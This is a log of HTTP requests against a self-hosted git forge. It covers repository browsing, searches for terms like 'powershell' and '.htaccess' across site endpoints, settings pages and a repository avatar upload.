{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 212"], "body": "0014command=ls-refs\n001aagent=git/2.49.1-Linux0016object-format=sha100010009peel\n000csymrefs\n000bunborn\n001bref-prefix refs/heads/\n001fref-prefix refs/heads/main\n001aref-prefix refs/tags/\n0014ref-prefix HEAD\n0000"}
{"method": "GET", "target": "/assets/js/activity-heatmap.514f8f16.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/bin/docker-entrypoint", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/src/process.env.d.ts", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/docs/java.lang.String.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/%5Bdraft%5D.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
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{"method": "GET", "target": "/alice/tools/pulls?state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues?type=your_repositories&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/users?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/organizations?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?tab=repositories&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=powershell&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/repos?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/code?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues?type=your_repositories&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/users?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/organizations?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=ls%20-la&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/repos?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/code?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues?type=your_repositories&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/users?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/organizations?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?tab=repositories&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=.htaccess&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
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{"method": "GET", "target": "/alice/tools/wiki/?action=_pages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
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truncated
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{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/settings/avatar", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 4377", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykD1bO7T1SED3rJ5v", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundarykD1bO7T1SED3rJ5v\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"avatar.png\"\r\nContent-Type: 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truncated
{"method": "GET", "target": "/alice/tools/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US; flash=success%3DThe%2Brepository%2Bavatar%2Bhas%2Bbeen%2Bupdated."], "body": ""}
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/settings/collaboration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
